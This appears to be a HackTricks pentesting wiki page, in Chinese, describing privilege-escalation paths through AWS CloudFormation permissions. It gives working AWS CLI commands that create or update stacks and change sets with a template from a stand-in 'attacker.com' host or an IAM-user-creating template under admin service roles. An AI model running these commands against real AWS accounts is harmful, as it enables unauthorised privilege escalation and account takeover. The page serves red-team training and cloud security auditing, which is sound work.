AWS - Cloudformation Privesc

学习并练习AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习并练习GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

支持HackTricks

cloudformation

有关cloudformation的更多信息,请查看:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

拥有这些权限的攻击者可以通过创建一个自定义模板的CloudFormation堆栈(托管在他们的服务器上),以以指定角色的权限执行操作,从而升级权限

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

在以下页面中,您将看到一个利用示例,其中包含额外权限**cloudformation:DescribeStacks**:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

潜在影响: 特定的云形成服务角色权限提升。

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

在这种情况下,您可以滥用现有的云形成堆栈来更新它,并像之前的情景一样升级权限:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy | cloudformation:UpdateStack

可以使用cloudformation:SetStackPolicy权限来为自己授予UpdateStack权限以对堆栈执行攻击。

潜在影响: 特权升级到指定的cloudformation服务角色。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

如果您拥有此权限但没有iam:PassRole,您仍然可以更新使用的堆栈并滥用它们已经附加的IAM角色。查看前一节的利用示例(只是不要在更新中指定任何角色)。

可以使用cloudformation:SetStackPolicy权限来为自己授予UpdateStack权限以对堆栈执行攻击。

潜在影响: 特权升级到已附加的cloudformation服务角色。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

具有传递角色和创建/执行ChangeSet权限的攻击者可以像使用CreateStack或UpdateStack一样创建/更新新的cloudformation堆栈并滥用cloudformation服务角色

以下利用是CreateStack的一个变体,使用ChangeSet权限来创建一个堆栈。

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy

cloudformation:SetStackPolicy权限可用于在堆栈上授予自己ChangeSet权限并执行攻击。

潜在影响: 特权升级到cloudformation服务角色。

这类似于之前的方法,但不涉及IAM角色,因此您可以滥用已附加的角色,只需修改参数:

--change-set-type UPDATE

潜在影响: 特权升级至已附加的cloudformation服务角色。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻击者可以利用这些权限创建/更新StackSets,以滥用任意的cloudformation角色。

潜在影响: 特权升级至cloudformation服务角色。

cloudformation:UpdateStackSet

攻击者可以滥用此权限,无需passRole权限即可更新StackSets,以滥用已附加的cloudformation角色。

潜在影响: 特权升级至已附加的cloudformation角色。

参考资料

Last updated